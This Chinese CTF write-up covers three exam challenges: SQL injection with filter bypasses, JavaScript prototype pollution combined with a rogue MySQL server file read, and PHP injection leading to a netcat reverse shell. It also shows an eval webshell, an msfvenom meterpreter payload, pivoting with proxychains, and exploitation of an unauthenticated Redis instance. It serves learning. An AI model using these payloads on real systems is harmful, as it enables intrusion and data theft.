0x00前言
终于等到来的太突然的考核,感觉自己表现不是太好,本来入门时间也不短了,是因为不够努力才这么菜
玩了一把内网渗透(不是),感觉有点意思。
0x01第一题
考点:sqli
- username中\转义'导致password语句逃逸单引号
- union注入
- 绕过逗号过滤继续注入
- 无列名注入
打开题目,抓包,发现POST过去的数据是json形式,没想到其他,只想到了sqli,于是我用bp的intruder模块fuzz了一下:
(这里本来有一个表,莫名其妙消失了)
被过滤:单引号、|、,、or、空格
没被过滤:select、union
空格被过滤,用//代替,(可以使用word的替换功能)本文的空格都是//
既然单引号被过滤了,那么就想到了CGCTF和之前的BJDCTF的注入,利用username输入反斜杠来转义单引号,直接看例子:
原本语句:SELECT * from user WHERE username = 'admin' and password = '123'
转义语句:SELECT * from user WHERE username = 'admin\' and password =' or 1=1#'
我们可以看到,实际上第二句的username
是'admin\' and password ='
后门接的or 1=1
自然也就造成了注入。
这道题正常输入的时候回显是username or password error
如果使用这个playload的话回显是true
union没有被过滤的话,那么就尝试union注入吧:
查询列数:
{"username":"1\\","password":"group/**/by/**/1#"}
这里有点玄学的是,明明查的是三列,但是只能group by 1有回显,就很神奇。
查询列数: {"username":"1\\","password":"union/**/select/**/1,2,3#"}
回显是“WAF!!!”因为逗号被过滤了
利用join
绕过逗号过滤:
union select * from ((select 1)A join (select 2)B join (select 3)C)#
//union select * from ((select 1)A join (select 2)B join (select 3)C)#
查询成功,列数为3,2
和3
分别为username和password的回显位置,就可以替换为子查询,但是最致命的是or
被过滤了,造成了information_schema
背锅,所以我们需要bypass information_schema
查看了MySQL版本为5.7之后sys.schema_auto_increment_columns
成为了我们的工具
将上述语句的2
或3
替换为:
SELECT group_concat(table_name) from sys.schema_auto_increment_columns WHERE table_schema = database()
表名:user
本来列名可以猜解出来,不过因为是非预期所以被ban了,接下来便是无列名注入
替换select 3
为
select i.3 from (select * from ((select 1)A join (select 2)B join (select 3)C) union select * from users)i limit 1
回显:{"code":2,"username":"2","password":"3","result":"SUCCESS"}
说明和没替换的效果一样,这个道理相当于是利用union查询的特性给他起了一个名字,起的名字是i,i.3
就是查第三列,看例子:
mysql> select * from (select 1,2,3 union select 'a','b','c')i;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| a | b | c |
+---+---+---+
mysql> select i.3 from (select 1,2,3 union select 'a','b','c')i;
+---+
| 3 |
+---+
| 3 |
| c |
+---+
lmit 1`是和`limit 0,1`效果一样,意思是从第0条返回1条结果,我们这样只能查到我们自己起的列名,想要查值就需要`limit 1,1`但是逗号被过滤了,我们可以用`limit 1 offset 1
select 3
替换为:
select i.1 from
(select * from ((select 1)A join (select 2)B join (select 3)C) union select * from users)i
limit 1 offset 1
查询username列,password列替换为i.2
,i.3
即可
最终playload:
username: 1\\
password:
union select * from(
(select 1)A join (select 2)B join(
select i.3 from(
select * from (
(select 1)A join (select 2)B join (select 3)C
)union select * from users
)i limit 1 offset 1
)C
)#
回显:
{"code":2,"username":"2","password":"74b87337454200d4d33f80c4663dc5e5
","result":"SUCCESS"}
0x02第二题
考点:JS原型链污染、MySQL远程登录任意文件读取
给了index.js源码:
var express = require('express');
var router = express.Router();
var mysql = require('mysql');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (let attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function waf(value){
let re = /(,| |or|\||\^|&|;|BENCHMARK|SLEEP)/ig;
let arr = value.match(re);
if (arr === null){
return 0;
}
return 1;
}
function clone(a) {
return merge({}, a);
}
router.post('/', function(req, res, next) {
let body = JSON.parse(JSON.stringify(req.body));
if (body.host != undefined) {
res.json({
"result":"There is more to it!"
});
}else if (body.username === undefined || body.password === undefined){
res.json({
"code":1,
"result":"username and password are necessary!"
});
}else if (waf(body.username)||waf(body.password)){
res.json({
"code":1,
"result":"WAF!!!"
});
}else {
let copybody = clone(body);
let host = copybody.host == undefined ? "localhost" : copybody.host
let config = {
host: host,
user: 'root',
password: '123456',
database: 'security'
};
let connection = mysql.createConnection(config);
connection.connect();
connection.query('select * from users where uuuusername="'+copybody.username+'" and ppppassword = "'+copybody.password+'"', function (error, results, fields) {
if (error){
res.json({
"code":1,
"result":"ERROR"
});
}else if (results[0] === undefined){
res.json({
"code":1,
"result":"username or password error"
});
}else{
res.json({
"code":2,
"username":results[0].uuuusername,
"password":results[0].ppppassword,
"result":"SUCCESS"
});
}
});
connection.end();
}
});
module.exports = router;
先来说一说JS原型链污染:
先贴一篇学习链接:>>戳这里
简单来讲,JS的语言特性是“万物皆为对象(object.prototype)”,这也是JS“基于对象”的解释
- 在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有的是__proto__和类的prototype对应
如果我们访问一个对象里面属性,JS则会在这个对象里面查找这个属性,如果不存在,那么就会返回上一级查找。
那么原型链污染就是:
在我们想要利用的代码之前的赋值语句如果可控的话,我们进行 ——proto 赋值,之后就可以利用代码了
很明显,这道题我们可以污染host属性
{"username":"admin","password":"1","__proto__":{"host":"我的ip"}}
这里为什么要污染host属性呢,其实是为了触发下一个漏洞——Mysql任意文件读取漏洞。
直接上exp:Rogue-MySql-Server-master
修改对应端口就行。
0x03第三题
考点:
- parse_url解析漏洞、PHP协议容错性、简单sqli、file_put_contents漏洞
- 简单内网渗透、redis未授权访问漏洞、redis主从复制漏洞
打开题目即送源码:
<?php
//it may help u
echo "<h1>WELCOME 23333333333</h1>"."\n";
$url = $_SERVER["HTTP_REFERER"];
$r = parse_url($url);
if(!empty($r['host']) && $r['host'] === 'localhost'){
readfile($url);// hint.txt
}
else{
echo 'ONLY FROM LOCALHOST!!!!'."<br>";
}
//only admin can do it
$password = $_GET['password'];
$username = $_GET['username'];
$content = addslashes($_GET['content']);
if($username === "******" && $password === "******"){
echo 'now_you_are_admin'."<br>";
$sandbox = './sandbox/' . md5("x" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
echo $sandbox."<br>";
if(!file_exists("admin.php")){
file_put_contents('admin.php', "<?php \$secret = 'xxx'; ?>");
}
//change the content
if($content){
$file = file_get_contents("./admin.php");
$file = preg_replace("/secret = '.*'/", "secret = '{$content}'", $file);
file_put_contents('./admin.php', $file);
}
}
第5行parse_url
解析我们只需要任意<字母、数字>://<字母、数字>
就可以让他返回host=第二个<字母、数字>
- PHP协议的容错性:PHP在遇到一个不认识的协议的时候,会抛出一个warning,并且将协议设置为
null
。后面,在协议是null
或者是file
时,会进行本地文件操作。也就是说,默认情况下,如果你没加协议,或者加了个不存在的协议,或者协议名字是file
,都会被认为是本地文件的相关操作
playload:
referer: 0://localhost/../../../(一个一个加,直到读到文件为止)../hint.txt
回显告诉了username
是pig_can_fly
并且说password需要在另一台服务器上面获取,我们点击访问他给的ip,发现就是一个很简单的union注入,得到了password
的md5值:dc3565645d8002becb5fd7977aeef3e1
暴力破解之后是:admin_password
GET传过去之后出现了一段JS代码,不过我没做(233333)
content
变量那里可以直接利用file_put_contents漏洞RCE
playload(GET传值):
?username=pig_can_fly&password=admin_password&content=a\';echo+`nc+-e+/bin/bash+我的ip+端口`//
我之前试了很多个,不知道究竟是哪个起了作用,后来问了问其他人,好像只有反引号才能起作用。
回到VPS监听端口,果然收到了一份新鲜的shell;
赶紧重新写一个后门:
echo "<?php @eval(\$_POST['123']);?>" > wh1sper.php
蚁剑连接,拿到shell;
高兴了好一阵,不过并没有找到flag,问了出题人,说是在内网。。。
联想到NCTF2019的true xml cookbook,读取/etc/hosts
文件和/proc/net/arp
,推测内网存活主机10.0.0.1-3
,2是自己,flag可能在3上面。
于是在VPS上面装了MSF,通过msf的一些模块探测到了一些信息。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
在本地生成了shell.elf
文件通过蚁剑上传到目录,继续在msf里面执行:
use exploit/multi/handler
set payloads linux/x86/meterpreter/reverset_tcp
set lhost 我的ip
set lport 我的端口
run
执行了这些命令,发现msf开始监听端口,这个时候通过蚁剑终端运行./shell.elf
命令,就可以获得一个meterpreter
类型的shell
得到shell之后,我们需要先建立meterpreter基本隧道代理
meterpreter基本隧道代理
1.portfwd
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:
meterpreter > portfwd
0 total local port forwards.
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
使用实例介绍:
反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.
2. pivot
pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法
使用方法route add 目标ip或ip段 子网掩码 session序号
要使用代理的会话,通过实例来说明:
在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问:
msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.1.1.129 255.255.255.255 Session 1
这里如果要代理10.1.1.129/24 到session 1,则可以这么写:
route add 10.1.1.0 255.255.255.0 1
到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。
但是如果想通过其他应用程序来使用这个代理怎么办呢?
这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问:
首先使用 socks4a并且配置,监听端口:
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server
查看监听端口:
root@kali:~# netstat -an | grep "1080"
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
端口已经监听,接着配置 proxychains
root@kali:~# vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwileroot@kali:~# netstat -an | grep "1080"
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN
# defaults set to "tor"
socks4 127.0.0.1 1080
完成之后我们在命令前面加上proxychain
就可以正常的用本机的工具扫描内网了
至于高端的二级代理甚至多级代理就不谈了。
这里我只进行了第一步,用了msf里面的portscan
扫描了内网10.0.0.3
主机的端口,发现只有6379
端口开放,网上查阅资料后得知是redis的端口,于是我用了msf里面的几个模块进行了尝试,其中,使用redis_login(用于爆破登录密码)的时候,msf提示我这个端口并没有设置密码,也就是存在redis未授权访问漏洞
于是我把6379
端口映射到了本地的10086
,通过本地的redis
客户端进行了访问
redis-cli -h 127.0.0.1 -p 10086
127.0.0.1:10086>
127.0.0.1:10086>keys *
1) "welcome"
127.0.0.1:10086>
成功了!!!一阵狂喜过后写了几个键,装了个B,开始尝试利用漏洞。
一般来讲,网上的几种方法:
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登陆
(3).往web物理路径写webshell
但是我们需要注意的是,(1)
需要/var/spool/cron/
路径存在并且有权限,(2)
需要22端口
开放,(3)
需要80端口
开放并且启动了web服务。
显然学长没给弹shell的机会,/var/spool/cron/
目录根本不存在其他两个端口都没开就不谈了。。。
不过有趣的是,我利用了redis
的config set dir /flag
摸清楚了flag在根目录,不过没有找到什么姿势可以让redis直接读取系统文件的。
后来看到了redis的一个主从机制,也没有往那方面想,于是本题宣告白给。
wakawaka师傅(最nb的男人)用redis的主从复制漏洞搞了一发,没成功,问学长说是环境问题,给通过了。
WP在这里就结束了,redis的主从复制漏洞改日在本地复现之后再更。
更新:
原理可以百度,这里直接本地用Github上面的redis-rogue-getshell-master
打通,本地的exp打docker:(本地不需要redis客户端)
python3 redis-master.py -r 目标ip -p 目标端口 -L 本机ip -P 本机端口 -f 使用的exp -c 要执行的命令